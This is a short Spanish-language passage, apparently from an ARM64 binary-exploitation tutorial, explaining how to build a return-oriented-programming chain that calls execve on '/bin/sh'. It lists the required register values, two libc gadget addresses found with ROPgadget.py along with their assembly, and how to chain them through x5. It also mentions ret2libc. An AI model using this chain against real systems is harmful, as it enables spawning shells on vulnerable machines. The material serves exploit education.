Para preparar la llamada para el syscall se necesita la siguiente configuración:
x8: 221 Especificar sys_execve
x0: ptr a "/bin/sh" especificar archivo a ejecutar
x1: 0 especificar que no se pasan argumentos
x2: 0 especificar que no se pasan variables de entorno
Usando ROPgadget.py pude localizar los siguientes gadgets en la biblioteca libc de la máquina:
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
Con los gadgets anteriores podemos controlar todos los registros necesarios desde la pila y usar x5 para saltar al segundo gadget para llamar a la syscall.
Ten en cuenta que conocer esta información de la biblioteca libc también permite realizar un ataque ret2libc, pero usemos esto para el ejemplo actual.